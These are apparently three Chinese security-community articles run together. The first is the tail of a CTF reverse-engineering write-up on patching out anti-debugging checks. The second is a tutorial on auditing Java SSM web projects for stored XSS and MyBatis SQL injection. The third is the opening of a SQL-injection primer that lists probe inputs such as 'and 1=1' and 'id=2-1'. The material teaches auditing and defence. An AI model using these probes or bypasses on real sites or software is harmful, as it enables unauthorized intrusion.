这里利用的是IDA的重命名机制–C++编译器为了区分重载函数，会对函数生成一些其他字符来修饰。delete函数被修饰以后的名称是”_ZdaPv”，但是冒牌delete函数的原名是”__ZdaPv”，IDA同样也会将其重命名为delete，导致被忽视。
这个delete中将参数指向的空间写为0x90，即NOP的机器码
因此可以将刚才的leave、retn和大量脏数据全部写成NOP，从而使下一次调用构造函数的时候可以执行一些其他代码，而这个机密的函数就是脏数据之后的代码，sub_6D1048
这里的a1是rbp，频繁调用的a1-8就是this指针
可以看到，每次调用都会覆盖一次虚函数
另外当第三次执行的时候会将memcmp重写
整个理透以后这个题目学到的应该是最多的，各种阴险技术，真的很有意思23333
可惜做的时候动态跟过去会忽视掉这里的大量重写，比较可惜
****
### **0x04 探寻逝去的Atlantis文明**
打开文件发现啥都没有
运行杀毒软件提示有代码混淆器
OD挂上各种报错，估计有反调
于是从头分析，首先是两个TlsCallback
TlsCallback_0中第一个函数sub_402B30动态获取了ZwSetInformationThread设置当前线程的信息
v0 = GetModuleHandleA(&ModuleName); // Ntdll
v1 = GetProcAddress(v0, &ProcName); // ZwSetInformationThread
v2 = GetCurrentThread();
return ((int (__stdcall *)(HANDLE, signed int, _DWORD, _DWORD))v1)(v2, 17, 0, 0);// ThreadHideFromDebugger
百度一下可以轻松发现这个函数经常被用来反调试，第17个参数正好就是反调用的：
将其首字节改成0xc3，爆破掉即可
后一个函数sub_4028F0同样也是动态获取了4个函数的地址，将它们保存在了一个函数表中留待日后取用。其中一个是IsDebuggerPresent这样的反调函数，另外三个则是VirtualAlloc、VirtualFree和Exit这种有用的函数，因此不可简单Patch
再往后立即就调用了刚才的IsDebuggerPresent，判断到直接Exit
这里Patch或者下断过都行，小问题
TlsCallback_1里则是一个MessageBox，无关紧要
接着进入main主函数
那三个连续的函数不用在意，解密代码很复杂，无需关心
sub_43180里是对Debug断点的Hook
我们知道调试器下断的原理是将某个地址的机器码改为0xcc，使其触发异常，从而被调试器捕捉中断
这个Hook会将0xcc改为0xc3，直接ret，导致不仅调试器捕捉不到断点，而且会直接令程序崩溃
这个函数里除了Hook没有别的东西，直接Patch掉
sub_403010里才是重头戏，通过memcpy将解密后的代码送入开辟出的空间中，然后直接调用
几个函数通过F8步过函数可以大致猜测出功能
关键在change_input和check两个函数中
其实当把那几个反调试通过以后就问题就不大了
动态调试跟进去，发现change_input中将Inputbase64后通过GlobalAddAtom将其加入了全局原子
再往后跟的几个函数都格外的复杂，再加上代码是动态解密的，每次都需要自己MakeCode再F5才能浏览一遍猜测是否需要详细跟踪
事实上在AddAtom之后虽然还有几个函数调用了Input的指针，但它们都是释放空间用的。
这个AddAtom添加了一个全局可用的字符串，必然在某处调用了GlobalGetAtomName
因此不妨稍微忽视一下其他函数，再往后跟
果不其然在v19，即check中捕捉到了GlobalGetAtomName的调用
该函数中生成了一个table，然后将table进行一顿操作后与Input逐字节异或，最后与另一个值进行比较—非常简单粗暴常见的逆向套路了
可以通过dump将table得到，然后效仿操作与结果数组异或从而得到flag
但更简单的方法当然是注意到这两点：
1. 异或的逆运算还是异或
2. 将table进行一顿操作与input完全无关
因此将结果数组直接放入Input的地址中，等到比较的时候，该地址中就是我们需要input的值了
解base64轻松得到flag。
**本次 逆向篇的writeup到此结束啦~** **比赛平台地址：<http://ddctf.didichuxing.com>** **** | 社区文章 |
# Java框架级SSM代码审计思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## SSM框架简介
SSM框架，即SpringMVC+Spring+Mybatis三个开源框架整合在一起的缩写。
在SSM框架之前生产环境中SSH框架占据多数，即Struts2+Spring+Hibernate三个开源框架整合而成。后因Struts2爆出众多高危漏洞，导致目前SSM逐渐代替SSH成为主流开发框架的选择。
审计SSM框架首先就要对MVC设计模式和，web三层架构有一定程度的了解，限于篇幅原因这里就简单介绍一下
### SpringMVC
是一种基于Java的实现MVC设计模式的请求驱动类型的轻量级Web框架，使用了MVC架构模式的思想，将web层进行职责解耦，基于请求驱动指的就是使用请求-响应模型，框架的目的就是帮助我们简化开发。
### Spring
是分层的 Java SE/EE full-stack 轻量级开源框架，以 IOC（Inverse of Control，控制反转）和 AOP（Aspect
Oriented Programming，面向切面编程）为内核，使用基本的 JavaBean 完成以前只可能由 EJB 完成的工作，取代了 EJB
臃肿和低效的开发模式，Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言，绝大部分Java应用都可以从Spring中受益
### Mybatis
是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架。MyBatis
避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。MyBatis
可以对配置和原生Map使用简单的 XML 或注解，将接口和 Java 的 POJOs(Plain Old Java
Objects,普通的 Java对象)映射成数据库中的记录。
### Servlet
还有一项技术虽然名称没有出现在这三个开源框架中但是SpringMVC的底层就是以此技术进行构建的，这项技术就是Servlet
Servlet是基于Java技术的Web组件，由容器管理并产生动态的内容。Servlet与客户端通过Servlet容器实现的请求/响应模型进行交互。
相对以SSM框架搭建的java web项目进行审计，上述这些都是要有一定程度的了解的。
## SSM框架代码执行流程和审计思路
### 审计的出发点web.xml
其实代码审计的核心思想就是追踪参数，而追踪参数的步骤就是程序执行的步骤，说白了代码审计就是一个跟踪程序执行步骤的一个过程，当我们知道了SSM框架的一个执行流程，自然就知道了如何如跟踪一个参数，剩下的就是去观察在参数传递的过程中有没有一些常见的漏洞点。
我们这里通过一个简单的Demo来描述一下SSM框架搭建的项目是如何完成一次用户请求，它的流程是怎么样的，而参数又是怎样被传递怎样被过滤的，当我们明白了这些，就可以尝试自己上手一些SSM的项目审计。
首先我把Demo的全部文件和文件结构粘贴出来
这是一个简单的图书管理Demo目录，功能是对图书名称，数量和简介简单的增删改查
首先不管我们是审计一个项目还是包括Tomcat加载一个项目一般都是由web.xml这个文件开始的
当然一个项目中没有web.xml也是可以的，可以通过servlet3.0开始提供的一些新注解来达到和配置web.xml一样的效果，但是这样的项目很少会碰到，所以我们以主流的配置web.xml的项目来作为讲解。
Tomcat会加载web.xml文件读取文件中的内容
web.xml文件主要的工作包括两部分：1、web.xml启动spring容器；2、DispathcheServlet的声明；3、其余工作是session过期，字符串编码等
首先是生成DispatcherServlet类,DispatcherServlet是前端控制器设计模式的实现，提供Spring Web
MVC的集中访问点（也就是把前端请求分发到目标controller），而且与Spring IoC容器无缝集成，从而可以获得Spring的所有好处。
简单理解就是将我们的请求转发至我们的SpringMVC中去，交由我们SpringMVC的Controller来进行接下来的处理
然后下面有一个<init-param>子标签，是生成DispatcherServlet时的初始化参数contextConfigLocation参数，Spring会根据这个参数去加载所有逗号分隔的xml文件，如果没有这个参数，Spring默认加载WEB-INF/DispatcherServlet-servlet.xml文件
下面的<servlet-mapping>标签中还有一个子标签<url-pattern>里面的value是“/”代表拦截所有请求。
下面的<filter>标签放在后面讲
### Spring核心配置文件applicationContext.xml
然后我们根据加载顺序去看applicationContext.xml
applicationContext.xml中包含了三个配置文件，这三个配置文件就是我们用Spring来整合SpringMVC和Mybaits的配置文件，其实这三个配置文件中的内容都可以直接写applicationContext.xml中因为applicationContext.xml是Spring的核心配置文件，例如生成Bean，配置连接池，生成sqlSessionFactory。但是为了便于理解，我们这些配置分别写在三个配置文件中，由applicationContext.xml将这三个xml进行关联，由下面这张截图我们可以清晰的看到applicationContext.xml将这三个配置文件关联了起来。
首先数据经由DispatcherServlet派发至Spring-mvc的controller层所以我们先看Spring-mvc.xml这个配置文件
<mvc:annotation-driven />标签
如果在web.xml中servlet-mapping的url-pattern设置的是/，而不是如.do。表示将所有的文件，包含静态资源文件都交给spring
mvc处理。就需要用到<mvc:annotation-driven
/>了。如果不加，DispatcherServlet则无法区分请求是资源文件还是mvc的注解，而导致controller的请求报404错误
<mvc:default-servlet-handler/>
在Spring-mvc.xml中配置<mvc:default-servlet-handler />后，会在Spring
MVC上下文中定义一个org.springframework.web.servlet.resource.DefaultServletHttpRequestHandler，它会像一个检查员，对进入DispatcherServlet的URL进行筛查，如果发现是静态资源的请求，就将该请求转由Web应用服务器默认的Servlet处理，如果不是静态资源的请求，才由DispatcherServlet继续处理，这么做是为了保证Spring-mvc优雅REST风格的资源URL。
剩下两项一个是指定了返回的view所在的路径，另一个是指定SpringMVC注解的扫描路径
不难看出这个配置文件中都是和Spring-mvc相关的配置。
### SSM之SpringMVC执行流程
接下来就是我们SpringMVC controller层接受前台传入的数据,这里我们让demo跑起来以方便演示和讲解
这是我们的index首页，我们看下页面源码
可以看到a标签的超链接是<http://localhost:8080/SSMFrameWorkTest_war/book/allbook>
${pageContext.request.contextPath}
是JSP取得绝对路径的方法, 也就是取出部署的应用程序名或者是当前的项目名称,这样当我们把项目部署到生产环境中时不容易出错
后台此时收到的请求路径为/book/allbook首先SpringMVC在项目启动时会去扫描我们指定的要扫描的路径也就是com.kuang.controller这个路径下的所有类，我们看下BookController这个类的代码
SpringMVC会扫描这个类中的所有注解，当看到[@Controller](https://github.com/Controller
"@Controller")是会生成该controller的Bean，扫描到[@RequestMappting](https://github.com/RequestMappting
"@RequestMappting")注解的时候会将[@RequestMappting](https://github.com/RequestMappting
"@RequestMappting")中的URI和下面的方法形成映射。所以我们请求的URI是“/book/allBool”
SpringMVC就会将数据交由BookController类的list方法来处理
我们仔细观察list方法，里面调用了bookService参数的queryAllBook方法，这里使用到了两个注解[@Autowired](https://github.com/Autowired
"@Autowired")，[@Qualifier](https://github.com/Qualifier
"@Qualifier")，简单介绍下两个注解的作用
[@Autowrite](https://github.com/Autowrite "@Autowrite")
作用：自动按照类型注入,只要有唯一的类型匹配就能注入成功，当传入的类型不唯一时，则会报错。
[@Qualiier](https://github.com/Qualiier "@Qualiier")
作用：在自动按照类型注入的基础上，在按照bean的id注入。它在给类成员注入数据时，不能独立使用。但是再给方法的形参注入数据的时候，可以独立使用。
由此可以看到bookService参数的类型是BookService类型，通过注解自动注入的Bean的id叫做BookServiceImpl
### SSM之Spring执行流程
这里我们就要从SpringMVC的部分过渡到Spring的部分了,所谓的过渡就是我们从SpringMVC的Controller层去调用Service层而这Service就是我们使用Spring进行IOC控制和AOP编程的地方。
首先我们需要先要去看spring-service.xml这个配置文件，
这里我们看到了一个很重要的东西
id为BookServiceImpl的bean，我们可以看到这个bean的class路径是com.kuang.service.BookServiceImpl，
<bean>这个标签就牵扯到了Spring一大核心功能点 就是IOC(Inversion of
Control)控制反转，名字听起来特别唬人，其实特别容易理解，就是本来写一个项目需要我们自己手动去new一个实例出来，用了Spring以后我们至于要把我们需要生成实例的那个类的路径，以及我们在new
一个实例时需要传入的的参数，传入参数的方法可以是通过构造方法，也可以通过set方法，我们还可以给这个bean起一个名称来方便我们调用（如果不用id参数之名的话那么这个bean的名称默认为类名开头字母小写，比如BookServiceImpl，如不特别指定，那么生成的bean的名称就是bookServiceImpl）。Spring就会在启动时将这些我们指定好的类生成的实例放入IOC容器中供我们使用，通俗点说就是本来由我们手动生成实例的过程交由Spring来做了，这就是所谓的控制反转。
接下来我们去看BookServiceImpl这个类的详细信息
首先看到该类是实现了BookService这个接口，ok我们先去看BookService这个接口
可以看到接口中定义了四种方法，为了方便理解，这些方法的名字是对应着日常项目中最长用的操作数据库的四个方法即，增删改查。
好了，看完了接口我们来看接口的实现类也就是BookServiceImpl。
由于实现了BookService这个接口，自然也就需要实现该接口下的所有方法，我们找到queryAllBook方法，发现queryAllBook调用了bookMapper参数的queryAllBook方法，而bookMapper是BookMapper类型的参数。
我们回过头来看spring-service.xml中的这一项配置，之前说了这一配置是将BookServiceImpl这个类生成一个bean并放入Spring
的IOC容器中，<property>标签的意思是通过该类提供的set方法在bean生成时向指定的参数注入value，name属性就是指定的参数的名称，可以看到我们BookServiceImpl中确实有一个私有参数名叫bookMapper
并且提供了该属性的set方法， ref属性是指要注入的value是其他的Bean类型，如果传入的是一些基本类型或者String类型就不需要用ref
将ref改成value就可以
这里我们可以看到我们通过ref属性向BookServiceImpl这个类中的bookMapper参数注入了一个value，这个value是一个其他的bean类型，这个bean的id叫做bookMapper。此时由于我们Service层的BookServiceImpl的queryAllBook方法的实现方式其实就是调用了id为bookMapper的bean的queryAllBook方法。所以这个id为bookMapper的bean就是程序执行的下一步。
### SSM之Mybatis执行流程
接下来就是是我们的web三层架构的数据访问层也就是我们Mybaits负责的部分，通常这一部分的包名会叫做xxxdao，也就是开发中常说的dao层，该包下面的类和接口通常都叫做xxxDao或者xxxMapper，当然不遵守这个规范也可以但是不推荐。此时我们的请求要从Spring负责的业务层过渡到Mybatis负责的数据层了，但是Mybaits和Spring的关系不像SpringMVC和Spring的关系一样可以无缝衔接，所以我们需要通过配置文件将Mybatis和Spring关联起来，这里我们看一下pom.xml
可以看到我们导入的包除了Mybatis本身，还倒入了一个mybatis-spring的包，目的就是为了将Mybatis和Spring做结合，spring-dao.xml也就是用来整合Spring和Mybatis的配置文件。
刚才我们看到Spring启动加载bean时会注入一个id为bookMapper的bean但是我们并未在之前的任何配置文件包括注解中看到有这个bean的相关信息，所以我们接下来要看spring-dao.xml中有没有和这个bean有关的信息
每项配置的作用基本都用注释的方式标明了
<context:property-placeholder location=”classpath:database.properties”/>
这里关联了一个properties文件
里面是连接数据库和配置连接池时需要的信息，没什么好说的。
我们着重看这个配置
这个配置通过生成MapperScannerConfigurer的bean来实现自动扫描com.kuang.dao下面的接口包，然后动态注入到Spring
IOC容器中，同样动态注入的bean的id默认为类名（开头字母小写），我们看下到目录下有哪些文件。
我们看到有一个叫BookMapper的接口文件，这样就明白了之前生成BookServiceImpl这个bean是通过<property>也就是通过BookServiceImpl类中的
public void setBookMapper(BookMapper bookMapper) {
this.bookMapper = bookMapper;
}
方法注入的这个bookMapper是哪里来的了，是由我们配置了MapperScannerConfigurer这个bean后这个bean帮我们扫描dao包下的借口文件并生成bean然后再帮我们注入到Spring的IOC容器中，所以我们才可以在BookServiceImpl这个bean中通过<property>标签注入bookmapper这个bean
然后我们来看这项配置
这里是生成一个id为sqlSessionFactory的bean，这里就要引出Mybatis中的两个关键对象即sqlSessionFactory和sqlSession。
简单介绍下这两个对象
SqlSessionFactory
SqlSessionFactory是MyBatis的关键对象，它是单个数据库映射关系经过编译后的内存镜像。SqlSessionFactory对象的实例可以通过SqlSessionBuilder对象获得，而SqlSessionBuilder则可以从XML配置文件或一个预先定制的Configuration的实例构建出SqlSessionFactory的实例。SqlSessionFactory是创建SqlSession的工厂。
SqlSession
SqlSession是执行持久化操作的对象，类似于JDBC中的Connection。它是应用程序与持久存储层之间执行交互操作的一个单线程对象。SqlSession对象完全包括以数据库为背景的所有执行SQL操作的方法，它的底层封装了JDBC连接，可以用SqlSession实例来直接执行已映射的SQL语句。
SqlSessionFactory和SqlSession的实现过程：
mybatis框架主要是围绕着SqlSessionFactory进行的，创建过程大概如下：
(1)、定义一个Configuration对象，其中包含数据源、事务、mapper文件资源以及影响数据库行为属性设置settings
(2)、通过配置对象，则可以创建一个SqlSessionFactoryBuilder对象
(3)、通过 SqlSessionFactoryBuilder 获得SqlSessionFactory 的实例。
(4)、SqlSessionFactory
的实例可以获得操作数据的SqlSession实例，通过这个实例对数据库进行
如果是spring和mybaits整合之后的配置文件,一般以这种方式实现,SqlSessionFactory的创建:
<bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
<property name="dataSource" ref="dataSource"></property>
<property name="mapperLocations"
value="classpath:com/cn/mapper/*.xml"></property>
</bean>
SqlSessionFactoryBean是一个工厂Bean，根据配置来创建SqlSessionFactory
如果是单独的使用手动创建SqlSessionFactory和SqlSession话流程如下
看完了SqlSessionFactory和SqlSession的基础知识我们同时注意到下面这个<property>标签的value属性，“classpath:mybatis-config.xml”
这里又引入了一个xml配置文件，还记得我上面刚说过spring-dao.xml是用来整合Spring和Mybatis的么？这个mybatis-config.xml就是我们Mybatis的配置文件。
好了spring-dao.xml这个用来整合Spring和Mybatis的配置文件我们已经了解了，程序按着刚才的请求接着向下走。
我们刚在走到了BookServiceImpl类的queryAllBook方法，然后该方法又是调用了bookMapper的queryAllBook方法。现在我们清楚了bookMapper的类型是BookMapper
又从sping-dao.xml的配置文件中看到了该文件的位置位于com.kuang.dao路径下，我们现在就打开BookMapper.java文件看一看
我们注意到这只是个接口，我们都知道接口是不能实例化的接口只是提供一个规范，这是我们就有疑问了，那我们调用的bookMapper的queryAllBook是怎么执行的？
我们在仔细看下dao目录下的文件，
发现还有一个名字和BookMapper.java名字一样的xml文件，我们打开看一下内容。
看到这个文件，虽然我们对mybatis的了解不多，但是我们应该大概明白了，为什么我们BookMapper明明只是接口，我们却可以实例化生成BookMapper的bean并且可以调用他的方法了。
但是只有BookMapper.java和BookMapper.xml显然不能就是Mybatis的全部了，两个文件之间此时除了名字相同以外还没有什么直接联系，所以我们还需要关联起来，我们来看看mybatis-config.xml这个Mybatis的配置文件
我们看到了<mappers>这个标签的resource属性的value就是我们BookMapper.xml的路径MyBatis 基于 sql
映射配置的框架，sql 语句都写在 Mapper 配置文件中，当构建 SqlSession 类之后，就需要去读取 Mapper 配置文件中的 sql
配置。而<mappers> 标签就是用来配置需要加载的 sql 映射配置文件路径的。
也就是说最终由我们的Spring帮我生成BookMapper的代理对象然后由Mybaits通过<mappers>标签将BookMapper代理对象中的方法和BookMapper.xml中的配置进行一一的映射，并最终执行其中的Sql语句。
我们看到我们此次请求最终调用的BookMapper的queryAllBook方法，这时我们就需要去BookMapper.xml去寻找与之对应的Sql语句了
很容易就找到了
我们看到最后执行的sql语句是
SELECT * from ssmbuild.books
至此我们的请求已经完成从一开始的由DispatcherServlet这个前端控制器派发给SpringMVC并最终通过Mybatis
执行我们需要对数据库进行的操作。
生产环境的业务代码，会比这个Demo复杂，但是整体的执行流程和思路并不会有什么太大的变化，所以审计思路也是如此。
SSM框架有三种配置方式，即全局采用xml配置文件的形式，全局采取注解的配置方式，或者注解和xml配置文件配合使用的方式，区别只是在于写法不一样，执行流程不会因此发生太多改变。
### 审计的重点filter过滤器
此时在将web.xml时还有一个标签说放在后面讲，就是web.xml的<filter>标签
SpringMVC时构建于Servlet之上的，所以Servlet中的过滤器自然也是可以使用，只不过不能配置在spring-mvc.xml中，而是要直接配置在web.xml中，因为是属于Servlet的技术嘛。
我们重回web.xml
为了方便之前的讲解，我将这两个filter注释掉了。也就是说这两个filter并没有生效。我们以下面的filter-name为XSSEscape的filter来进行讲解。
首先我们此时程序是没有XSS防护的，所以存在存储型XSS漏洞，我们来尝试存储型XSS攻击
我们点击新增功能
看一下提交路径
去后台找与之对应的方法
找到后在这里下断点看传入参数的详细信息
看到没有任何过滤XSS语句就这么直接传了进来
如果我们此时想要防御这个XSS攻击就可以在web.xml中配置上我们的<filter>
这里声明了了我在com.kuang.filter的包路径下又一个类叫XssFilter是一个过滤器
下面的<dispatcher>属性中的REQUEST的意思是
只要发起的操作是一次HTTP请求，比如请求某个URL、发起了一个GET请求、表单提交方式为POST的POST请求、表单提交方式为GET的GET请求。一次重定向则前后相当于发起了两次请求，这些情况下有几次请求就会走几次指定过滤器。
<dispatcher>属性2.4版本的servlet中添加的新的属性标签，总共有四个值REQUEST,FORWARD,INCLUDE和ERROR，以下把这四个值简单说明一下
1、REQUEST
只要发起的操作是一次HTTP请求，比如请求某个URL、发起了一个GET请求、表单提交方式为POST的POST请求、表单提交方式为GET的GET请求。一次重定向则前后相当于发起了两次请求，这些情况下有几次请求就会走几次指定过滤器。
2、FOWARD
只有当当前页面是通过请求转发转发过来的情形时，才会走指定的过滤器
3、INCLUDE
只要是通过<jsp:include page=”xxx.jsp” />，嵌入进来的页面，每嵌入的一个页面，都会走一次指定的过滤器。
4、ERROR
假如web.xml里面配置了<error-page></error-page>：
例如
<error-page>
<error-code>400</error-code>
<location>/filter/error.jsp</location>
</error-page>
意思是HTTP请求响应的状态码只要是400、404、500三种状态码之一，容器就会将请求转发到error.jsp下，这就触发了一次error，走进了配置的DispatchFilter。需要注意的是注意一点的是，虽然把请求转发到error.jsp是一次forward的过程，但是配置成<dispatcher>FORWARD</dispatcher>并不会走DispatchFilter这个过滤器。
这四种dispatcher方式可以单独使用，也可以组合使用，配置多个<dispatcher></dispatcher> 即可。
在审计的时候的过滤器<dispatcher>属性中使用的值也是我们关注的一个点，
<url-pattern>属性是指明我们要过滤访问哪些资源的请求，“/*”的意思就是拦截所有对后台的请求,
包括对一个简单的对jsp页面的GET请求，同时我们可以具体的指定拦截对某一资源的请求，同时也可以设置对某些资源的请求不过滤单独进行放过，
举例说明
<filter>
<filter-name>XSSEscape</filter-name>
<filter-class>com.springtest.filter.XssFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>XSSEscape</filter-name>
<url-pattern>/com/app/UserControl</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
既然等指定单独过滤特定资源，自然也就可以指定对特定资源的放行。
如果设置全局的资源请求过滤的话肯定是不合理的，生产环境中又很多静态资源是不需要进行过滤的，所以我们可以指定将这些资源进行放行，
例如
<filter>
<filter-name> XSSEscape </filter-name>
<filter-class> com.springtest.filter.XssFilter </filter-class>
<init-param>
<!— 配置不需要被登录过滤器拦截的链接，只支持配后缀、前缀 及全路径，多个配置用逗号分隔 —>
<param-name>excludedPaths</param-name>
<param-value>/pages/*,*.html,*.js,*.ico</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name> XSSEscape </filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
这样我们的serlvet在路径选择时当有对 html js 和ico资源发起的请求就不回在将改请求转发至XssFilter类。
我们在审计代码时
这里也是需要注意的一个点，因为有可能开发人员的错误配置导致本应该经过过滤器的请求，错误的给直接放行了，这样即使项目中有过滤器，也是不会生效的。
明白了<filter>标签的作用我们就去看XssFilter这个类的内容
可以看到filter包下有两个java类，我们先看XssFilter这个类
可以看到我们的XssFilter这个类实现了一个叫Filter的接口
我们去看一下Filter接口的源码
可以看到Filter所属的包是javax.servlet
Filter是Servlet的三大组件之一
javax.servlet.Filter 是一个接口，过滤请求，实现请求的拦截或者放行，并且添加新的功能
众所周知接口其实就是一个标准，所以我们想要编写自己的过滤器自然也要遵守这个标准即实现Filter这个接口。
Filter接口中有三个方法，这里简单介绍一下
init方法：
在创建完过滤器对象之后被调用。只执行一次
doFilter方法：
执行过滤任务方法。执行多次。
destroy方法：
Web服务器停止或者Web应用重新加载，销毁过滤器对象。
当 Servlet 容器开始调用某个 Servlet 程序时，如果发现已经注册了一个 Filter
程序来对该 Servlet 进行拦截，那么容器不再直接调用 Servlet 的 service
方法，而是调用 Filter 的 doFilter 方法，再由 doFilter 方法决定是否去激活 service
方法
不难看出需要我们重点关注的方法是doFilter方法
这里的request的参数和response参数可以理解成封装了请求数据和相应数据的对象，我们需要过滤的数据就是存放在这两个对象中，
最后一个参数FilterChain，通过名字我们猜这个参数是一个过滤链，查看一下FilterChain的源码
看到FilterChain是一个接口，而且这个接口只有一个方法，那就是doFilter方法，FilterChain参数存在的意义就在于，在一个 Web
应用程序中可以注册多个 Filter 程序，每个 Filter 程序都可以对一个或一组 Servlet 程序进行拦截。如果有多个 Filter
程序都可以对某个 Servlet 程序的访问过程进行拦截，当针对该 Servlet 的访问请求到达时，Web 容器将把这多个 Filter 程序组合成一个
Filter 链（也叫过滤器链），
Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致，上一个 Filter.doFilter 方法中调用
FilterChain.doFilter 方法将激活下一个
Filter的doFilter 方法，最后一个 Filter.doFilter 方法中调用的 FilterChain.doFilter 方法将激活目标
Servlet的service 方法 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter 方法，则目标
Servlet 的 service 方法都不会被执行
介绍完FilterChain接下来大家应该发现，虽然名字叫过滤器
但是调用chain.dofilter方法似乎并没有执行任何类似过滤的工作，没有看到任何类似黑名单或者白名单的过滤规则
在调用chain.dofilter方法时我们传递了两个参数进去
new XSSRequestWrapper((HttpServletRequest) request)和response
这就是说我们传递了一个XSSRequestWrapper对象和ServletRespons对象，我们关心的当然是这个XSSRequestWrapper
在传递参数的过程中我们通过调用XSSRequestWrapper的构造器，传递了HttpServletRequest对象，这里简单从继承关系让大家看一下HttpServletRequest和ServletRequest的关系
既然这里生成了一个XSSRequestWrapper对象并传入的参数那我们自然要跟进一探究竟
正好filter下面有一个叫XSSRequestWrapper的类，我们看一下代码
看到这里大家应该恍然大悟，原来过滤的行为是在这里进行了，而XssFilter的存在只是在链式执行过滤器并最终将值传给Servlet时调用XSSRequestWrapper来进行过滤并获取过滤结果而已。
这里对过滤规则就不过多赘述，网上有很多好的过滤规则，这里就不多提了。
这里肯定有很多人并明白问什么不将过滤的逻辑代码写在XssFilter中而是又新写了一个类，不是多此一举么？
这么做当然不是多此一举，首先解耦这个理由就已经足够充分了，其次我们看到XSSRequestWrapper继承了一个类
HttpServletRequestWrapper
这里我们看一下HttpServletRequestWrapper类的继承关系
我们可以看到HttpServletRequestWrapper是实现了HttpServletRequest接口的，我们这里提一下过滤这个概念，我们的想法是尽可能的把请求中的有危害的数据或者特殊符号过滤掉，然后将过滤后的数据转发向后面的业务代码并继续执行，而不是说发现请求数据中有特殊字符就直接停止执行，抛出异常，返回给用户一个400页面，所以既然要继续执行，那我们就要去修改或者转义HttpServletRequest对象中的恶意数据或者特殊字符。然而HttpServletRequest对象中的数据是不允许被修改的，也就是说HttpServletRequest对象没有提供给我们直接修改请求数据的方法。
此时矛盾就来了，我们想要修改但是HttpServletRequest对象又不给提供，所以HttpServletRequestWrapper这个类就出现了，这里用到了常见的23中设计模式之一的装饰者模式，限于篇幅原因不可能对装饰者模式在进行讲解了，感兴趣的同学可以自己去研究。也就是说HttpServletRequestWrapper这个类的出现就是为了给我们提供修改request请求数据的方法的，到这里大家应该就明白了为什么需要单写一个类来进行过滤的行为，不是我们想着么写，而是框架就这么设计的，为的就是解耦。
此时当HttpServletRequestWrapper将请求中的数据过滤完，并修改完成后返回然后作为chain.doFilter方法的形参进行传递。
结合之前说的，最后一个 Filter.doFilter 方法中调用的 FilterChain.doFilter
方法将激活目标 Servlet的service 方法
由于我们没有配置第二个Filter所以XssFilter中的chain.doFilter将会激活我们Servlet的service方法即DispatcherServlet的service方法，然后数据将传入我们的SpringMVC的Controller层交由我们的BookController来处理。
我们这次使用filter来演示一下效果
老地方下断
然后再次执行到这里时XSS语句中的特殊字符已经被Filter转义。
自然也就不会存在Xss的问题了。
## SSM框架审计思路总结
### 思路总结
最后总结一下SSM框架的审计思路，审计思路其实就是我们代码的执行思路
和审计非SSM框架代码的主要区别就是在于SSM框架的各种XML配置，和注解配置，需要我们根据XML中的配置和注解来查看代码的执行路径，SSM框架中常见的注解和注解中的属性，以及常见的标签和标签的各个属性。
审计漏洞的方式同正常的java代码审计没有区别，网上有很多非常优秀的java代码审计文章，关于每个漏洞的审计方式写的都非常全面，我们需要的就只是将其移植到SSM框架的审计中来，我们明白SSM的执行流程了，自然就明白了该怎么在SSM框架中跟踪参数，例如刚刚讲的XSS漏洞，我们根据XML中的配置和注解中的配置一路跟到了Mybatis的mapper.xml这个映射文件，找到了最中执行的
insert into ssmbuild.books(bookName,bookCounts,detail)
values (#{bookName}, #{bookCounts}, #{detail})
这个sql语句，发现我们传入的books参数直到sql语句执行的前一刻都没有经过任何的过滤处理，所以此处插入数据库的参数自然是不可信的脏数据。
当我们再次查询这条数据并返回到前端时就非常可能造成存储型XSS攻击
我们在审计这类漏洞时，最简单的方法就是先去web.xml中去查看有没有配置相关的过滤器，如果有哪我们就去看看过滤器的规则是否严格，如果没有那就很有可能存在漏洞。
### 补充知识
最后还要提一个必要重要的Mybaits知识点就是Mybatis的预编译，关于java的预编译简单介绍一下
非预编译的情况下我们每次执行sql都需要将slq和参数拼接在一起然后传给数据库编译执行，这样采用拼接的方式非常容易产生SQL注入漏洞，当然可以使用filter对参数进行过滤来避免产生SQL注入，
而在预编译的情况下，程序会提前将我们的sql语句编译好，程序执行的时候只需要将传递进来的参数交由数据库进行操作就可以了，此时不论传来的参数是什么，都不会被当成时SQL语句的一部分，因为真正的SQL语句已经提前编译好了，所以即使不过滤也不会产生SQL注入这类漏洞，
以下面这个mapper.xml中的SQL语句举例
insert into ssmbuild.books(bookName,bookCounts,detail)
values (#{bookName}, #{bookCounts}, #{detail})
#{bookName}这种形式的就是采用了预编译的形式传参，而以下这种形式
insert into ssmbuild.books(bookName,bookCounts,detail)
values (‘${bookName}’,’${bookCounts}’, ‘${detail}’)
‘${bookName}’这种写法就是没有使用预编译的形式进行传参数，此时如果不对传入的参数进行过滤和校验的话就会产生SQL注入漏洞
‘${xxxx}’和#{xxxx}其实就是jdbc的Statement和PreparedStatement对象。
### 学习建议
整篇文章对SSM框架的整个执行流程和审计流程进行了简单的讲解，后续想要增强SSM框架的审计水平，推荐大家自己上手一些简单SSM框架搭建的项目，实战永远是最快的学习方式，大家在审计SSM框架可能遇到的最大的困难就是有很多新的之前没有碰到过的注解，和XML中一些SSM独有的标签，这些注解和标签数量很多，没有办法在一篇文章中讲完，大家碰到不懂的注解和标签都可以通过官方提供的文档和搜索引擎来寻找答案。
最后感谢大家的耐心观看。 | 社区文章 |
**作者： 啵啵
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
**注入攻击的本质，是把用户输入的数据当做代码执行。**
* 这里有两个关键条件：
**第一个是用户能够控制输入**
**第二个是原本程序要执行的代码，拼接了用户输入的数据然后进行执行**
## 判断注入点
最古老的方法
* and 1=1 页面正常
* and 1=2 页面不正常
最简单的方法
* 页面后加 '，看是否报错
* 如果是数字型传参，可以尝试-1
例如：
* http://www.xxx.com/new.php?id=1 页面显示id=1的新闻
* http://www.xxx.com/new.php?id=2-1 页面显示id=1的新闻
